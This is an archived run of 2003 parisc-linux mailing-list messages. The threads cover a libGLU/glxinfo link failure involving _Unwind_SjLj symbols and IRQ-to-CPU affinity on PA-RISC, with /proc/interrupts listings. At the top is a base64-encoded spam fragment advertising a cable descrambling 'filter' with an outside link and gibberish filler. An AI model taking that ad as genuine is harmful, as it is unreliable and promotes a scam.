List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19152

--90.FB162EB_9.9.
Content-Type: text/html;
Content-Transfer-Encoding: base64

PGZvbnQgc2l6ZT0iMiI+DQoNCmdpYmJldCZuYnNwOyBncm1jIGogIHEgbW0geSBsIGJoc3Nh
cG1wZXRreHNoZyAgYWdmcW1uICANCnENCnANCnl0eWJyanViZCBvY20gaG9sDQogY28mbmJz
cDsmbmJzcDsgPGZvbnQgU0laRT0iMSIgQ09MT1I9IiMwMDAwMDAiPm9sZW9tYXJnYXJpbmU8
L2ZvbnQ+DQo8cCBhbGlnbj0iY2VudGVyIj4mbmJzcDtUaGUgdWx0aW1hdGUgZGlnaXRhbCBj
YWJsZWZpbHRlcjwvcD4NCjxwIGFsaWduPSJjZW50ZXIiPlRoZSBmaWx0ZXIgd2lsbCBhbGxv
dyB5b3UgdG8gcmVjZWl2ZSBhbGwgdGhlIGNoYW5uZWxzIHRoYXQgeW91DQpvcmRlciB3aXRo
IHlvdXIgcmVtb3ZlIGNvbnRyb2whPC9wPg0KPHAgYWxpZ249ImNlbnRlciI+cGF5cGVydmll
d3MsIGFkdWx0bW92aWVzLCBzcG9ydCBldmVudHMgJmFtcDsgc3BlY2lhbCBldmVudHMhPGEg
aHJlZj0iaHR0cDovL3d3dy5tZWRzMjQ3LmluZm8vY2FibGUvIj4NCnNlZSBub3chPC9hPjwv
cD4NCjxwPjwvZm9udD4NCg0KPC9wPg0KDQo8cCBhbGlnbj0iY2VudGVyIj48YSBocmVmPSJo
dHRwOi8vd3d3Lm1lZHMyNDcuaW5mby9jYWJsZS8iPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0
dHA6Ly93d3cubWVkczI0Ny5pbmZvL2NhYmxlL2ZpdGVyLmpwZyI+PC9hPjwvcD4NCjxmb250
IHNpemU9IjIiPmJlYXRpdHVkZSZuYnNwOyBidXllciZuYnNwOyZuYnNwOyZuYnNwOyBjYXJv
bGluaWFuJm5ic3A7Jm5ic3A7DQpjaGFpcmxhZHk8L2ZvbnQ+DQo8cD48Zm9udCBzaXplPSIy
Ij55dm9zZWRvcSB3a3UgdnogZXQNCmtrICZuYnNwOyBjcm9zc2FybSZuYnNwOyZuYnNwOyZu
YnNwOyZuYnNwOyZuYnNwOw0KYmVtdXNlJm5ic3A7Jm5ic3A7IGNvbmZpZ3VyZTwvZm9udD48
L3A+DQo8cD48Zm9udCBzaXplPSIyIj5oZWxpY2FsJm5ic3A7IGt3ICBhbmggcXFxaG8gc2d1
ZWtsZ3ZiIGxsbWRtY3ZjdWtqZGsgdnNrJm5ic3A7IGNvbXBhdGlibGUmbmJzcDsmbmJzcDsm
bmJzcDsNCmRlbWVudGlhPC9mb250PjwvcD4NCjxwPjxmb250IHNpemU9IjIiPnNhbmRyYSZu
YnNwOyBjYWxjYXJlb3VzJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IHogeHJ3Z2sgaGJjb25z
IHINCmgNCmpxdHpsZHRvZXl5ZiAgeiZuYnNwOyZuYnNwOyZuYnNwOw0KbGFkZW4NCjwvZm9u
dD48L3A+DQpnICBmbnQgZw0KbnFpemZlb28NCnogeWVo



--90.FB162EB_9.9.--



From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Sun, 10 Aug 2003 22:34:57 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20030811043457.GA5653@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622665 28970 80.91.229.3 (22 Nov 2014 02:17:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 10 22:34:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 6CD09482D; Sun, 10 Aug 2003 22:34:57 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19153

Hi all,
This started out as an issue with glxinfo program in xfree86.

The basic problem is glxinfo (C program) links against libGLU.so
(C++ built library). But glxinfo fails to link using gcc:
...
gcc -o glxinfo -g -O -ansi -pedantic -Wall -Wpointer-arith -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wredundant-decls -Wnested-externs -Wundef     -L../../exports/lib glxinfo.o -lGLU -lGL -lXext -lX11  -lpthread -lm -Wl,-rpath-link,../../exports/lib
../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Resume@GCC_3.0'
../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Register@GCC_3.0'
/usr/bin/../lib/libstdc++.so.5: undefined reference to `_Unwind_SjLj_RaiseException@GCC_3.0'
../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Unregister@GCC_3.0'
/usr/bin/../lib/libstdc++.so.5: undefined reference to `_Unwind_SjLj_Resume_or_Rethrow@GCC_3.3'
collect2: ld returned 1 exit status
...


If I use g++ instead, glxinfo links just fine since libgcc_eh.a gets
picked up automagically. But it seems wrong to require a C program
link using g++.

Is libGLU.so getting built wrong?  (ie resolved in libGLU.so directly)
Or should C programs not use C++ built libs? (How can the author know?)
Or is this a bug in gcc/binutils? (not picking up libgcc_eh.a)

This might be a generic problem since a few other libs on
my box have _Unwind_SjLj_Resume (for example) unresolved:

libasprintf.a
libgmpxx.a
libncurses++.a

thanks,
grant


From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Naresh <knaresh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Affined IRQs.
Date: Mon, 11 Aug 2003 12:24:10 +0530
Lines: 9
Approved: news@gmane.org
Message-ID: <3F373D92.C287B6B4@india.hp.com>
Reply-To: knaresh@india.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622665 28973 80.91.229.3 (22 Nov 2014 02:17:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:45 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 00:54:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id B81084840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 00:54:29 -0600 (MDT)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by palrel12.hp.com (Postfix) with ESMTP id 32AE31C00D9B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Aug 2003 23:54:28 -0700 (PDT)
Original-Received: from india.hp.com (eb9856.india.hp.com [15.76.98.56])
	by redsea.india.hp.com (8.9.3 (PHNE_28761)/8.9.3 SMKit7.02) with ESMTP id MAA22655
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 12:31:29 +0530 (IST)
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19154

Hi,
The IA-64 Linux kernel has a concept of affined IRQs, wherein IRQs can
be bound/affined to particular CPUs. The affinity information shows up
in '/proc/irq/#/smp_affinity'. I cannot see any affinity of IRQs to CPUs
in PA ( iosapic.c and irq.c).. Is my understanding correct?
Regards,
Naresh.



From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 09:11:02 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3F29178A00002568@ocpmta7.freegates.net>
References: <20030811043457.GA5653@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622666 28976 80.91.229.3 (22 Nov 2014 02:17:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:46 +0000 (UTC)
To: "Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 01:11:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FC2A4847
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 01:11:04 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19m6mE-0002MR-00; Mon, 11 Aug 2003 09:07:34 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 11 Aug 2003 09:11:02 +0200
In-Reply-To: <20030811043457.GA5653@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19155

Hi Grant,

> Hi all,
> This started out as an issue with glxinfo program in xfree86.
>
>The basic problem is glxinfo (C program) links against libGLU.so
>(C++ built library). But glxinfo fails to link using gcc:
Which gcc release do you used? (i experiment such a pb with gcc-3.0)
[2 weeks ago, Jul 31 exactly, I play to rebuild this pkg with gcc3.3 but
do not encounter any pb?]

hth,
Joel

------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Affined IRQs.
Date: Mon, 11 Aug 2003 09:43:24 +0200
Organization: ESIEE
Lines: 20
Approved: news@gmane.org
Message-ID: <20030811094324.17ed7a86.varenet@esiee.fr>
References: <3F373D92.C287B6B4@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622666 28979 80.91.229.3 (22 Nov 2014 02:17:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:46 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: knaresh@india.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 01:47:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d108.dhcp212-198-139.noos.fr [212.198.139.108])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88A624874
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 01:47:32 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h7B7hOrQ015005;
	Mon, 11 Aug 2003 09:43:25 +0200
In-Reply-To: <3F373D92.C287B6B4@india.hp.com>
X-Mailer: Sylpheed version 0.9.0claws (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19156

On Mon, 11 Aug 2003 12:24:10 +0530
Naresh <knaresh@india.hp.com> wrote:

> Hi,
> The IA-64 Linux kernel has a concept of affined IRQs, wherein IRQs can
> be bound/affined to particular CPUs. The affinity information shows up
> in '/proc/irq/#/smp_affinity'. I cannot see any affinity of IRQs to CPUs
> in PA ( iosapic.c and irq.c).. Is my understanding correct?
> Regards,
> Naresh.

This has to be implemented for parisc and is on my todo list ;)

(BTW, on vacation till Aug 25th.)


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Naresh <knaresh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Affined IRQs.
Date: Mon, 11 Aug 2003 18:03:03 +0530
Lines: 31
Approved: news@gmane.org
Message-ID: <3F378CFE.2A12407@india.hp.com>
References: <3F373D92.C287B6B4@india.hp.com> <20030811094324.17ed7a86.varenet@esiee.fr>
Reply-To: knaresh@india.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622666 28980 80.91.229.3 (22 Nov 2014 02:17:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:46 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 06:33:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86D5A4830
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 06:33:19 -0600 (MDT)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by palrel12.hp.com (Postfix) with ESMTP
	id 9A8D31C01B71; Mon, 11 Aug 2003 05:33:17 -0700 (PDT)
Original-Received: from india.hp.com (eb9856.india.hp.com [15.76.98.56])
	by redsea.india.hp.com (8.9.3 (PHNE_28761)/8.9.3 SMKit7.02) with ESMTP id SAA18151;
	Mon, 11 Aug 2003 18:10:23 +0530 (IST)
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19157

A couple of questions:
1. Do does this mean interrupts can go to any CPU?
2. If a CPU on an SMP system is stopped or its interrupts are blocked, will
its interrupts automatically be serviced on another online CPU, due to their
non-affining nature?
Regards,
Naresh.

Thibaut VARENE wrote:

> > Hi,
> > The IA-64 Linux kernel has a concept of affined IRQs, wherein IRQs can
> > be bound/affined to particular CPUs. The affinity information shows up
> > in '/proc/irq/#/smp_affinity'. I cannot see any affinity of IRQs to CPUs
> > in PA ( iosapic.c and irq.c).. Is my understanding correct?
> > Regards,
> > Naresh.
>
> This has to be implemented for parisc and is on my todo list ;)
>
> (BTW, on vacation till Aug 25th.)
>
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://pateam.esiee.fr/
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Affined IRQs.
Date: Mon, 11 Aug 2003 15:44:02 +0200
Lines: 108
Approved: news@gmane.org
Message-ID: <DE031C48-CC01-11D7-94DE-0030656F07A2@esiee.fr>
References: <3F378CFE.2A12407@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622667 28984 80.91.229.3 (22 Nov 2014 02:17:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:47 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: knaresh@india.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 07:44:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C10E2482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 07:44:04 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 7A31049BE6; Mon, 11 Aug 2003 15:44:03 +0200 (CEST)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id E3ADD49BDE; Mon, 11 Aug 2003 15:44:02 +0200 (CEST)
In-Reply-To: <3F378CFE.2A12407@india.hp.com>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19158

Le lundi, 11 ao=FB 2003, =E0 14:33 Europe/Paris, Naresh a =E9crit :

> A couple of questions:
> 1. Do does this mean interrupts can go to any CPU?

there are several cases, depending on the hardware.
For instance, on A500, IRQs are distributed to both CPUs, on J5000,=20
only one of the two CPUs gets all IRQs.
This is IOSAPIC programmation that has to be reviewed:

on J5000:
[varenet@k2000 ~]$ uname -a
Linux k2000 2.4.20-pa18 #1 SMP Sun Jan 12 02:41:51 CET 2003 parisc64=20
GNU/Linux
[varenet@k2000 ~]$ cat /proc/interrupts
           CPU00      CPU01
  64: 1053803311 1053803113      PARISC-CPU  timer
  65:    2598316   12633504      PARISC-CPU  IPI
  66:   68320843          0      PARISC-CPU  IO-SAPIC00-L2
  67:          0          0      PARISC-CPU  IO-SAPIC00-L3
  68:        326          0      PARISC-CPU  IO-SAPIC00-L0
  69:          0          0      PARISC-CPU  IO-SAPIC00-L1
  70:    6616979          0      PARISC-CPU  IO-SAPIC00-L1
128:        326          0      IO-SAPIC00  SuperIO
129:    6616979          0      IO-SAPIC00  sym53c8xx, sym53c8xx
130:   68320843          0      IO-SAPIC00  eth0
195:        323          0         SuperIO  serial
199:          3          0         SuperIO  ide0

on A500:
[varenet@mkhppa3 ~]$ uname -a
Linux mkhppa3 2.4.20-pa28 #1 SMP Sun Mar 9 23:56:53 CET 2003 parisc64=20
GNU/Linux
[varenet@mkhppa3 ~]$ cat /proc/interrupts
           CPU00      CPU01
  64:  727337429  727336565      PARISC-CPU  timer
  65:   31826972   39174091      PARISC-CPU  IPI
  66:   42581516          0      PARISC-CPU  IO-SAPIC00-L0
  67:          0         30      PARISC-CPU  IO-SAPIC00-L1
  68:          0          0      PARISC-CPU  IO-SAPIC00-L2
  69:          0     696338      PARISC-CPU  IO-SAPIC00-L2
  70:    3672511          0      PARISC-CPU  IO-SAPIC00-L3
  71:          0        209      PARISC-CPU  IO-SAPIC00-L4
  72:          0          0      PARISC-CPU  IO-SAPIC00-L5
128:   42581516          0      IO-SAPIC00  eth0
129:          0         30      IO-SAPIC00  sym53c8xx
130:          0     696338      IO-SAPIC00  sym53c8xx, sym53c8xx
131:    3672511          0      IO-SAPIC00  sym53c8xx
132:          0        209      IO-SAPIC00  serial


> 2. If a CPU on an SMP system is stopped or its interrupts are blocked,=20=

> will
> its interrupts automatically be serviced on another online CPU, due to=20=

> their
> non-affining nature?

CPU deconfiguration is also on my todo list ;)
So you can't stop a CPU on a PARISC SMP system atm.
the second part of the question is an iodood (Grant Grundler ;)=20
question, but to my understanding IRQs won't probably be serviced by=20
another CPU unless the IOSAPIC is reprogrammed to do so.

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

> Regards,
> Naresh.
>
> Thibaut VARENE wrote:
>
>>> Hi,
>>> The IA-64 Linux kernel has a concept of affined IRQs, wherein IRQs=20=

>>> can
>>> be bound/affined to particular CPUs. The affinity information shows=20=

>>> up
>>> in '/proc/irq/#/smp_affinity'. I cannot see any affinity of IRQs to=20=

>>> CPUs
>>> in PA ( iosapic.c and irq.c).. Is my understanding correct?
>>> Regards,
>>> Naresh.
>>
>> This has to be implemented for parisc and is on my todo list ;)
>>
>> (BTW, on vacation till Aug 25th.)
>>
>> Thibaut VARENE
>> The PA/Linux ESIEE Team
>> http://pateam.esiee.fr/
>> _______________________________________________
>> parisc-linux mailing list
>> parisc-linux@lists.parisc-linux.org
>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>




From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 10:07:46 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20030811140745.GB17081@systemhalted>
References: <20030811043457.GA5653@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622667 28986 80.91.229.3 (22 Nov 2014 02:17:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 08:10:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id ECAB6482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 08:10:25 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19mDKs-0000RX-00; Mon, 11 Aug 2003 10:07:46 -0400
Content-Disposition: inline
In-Reply-To: <20030811043457.GA5653@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (81% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
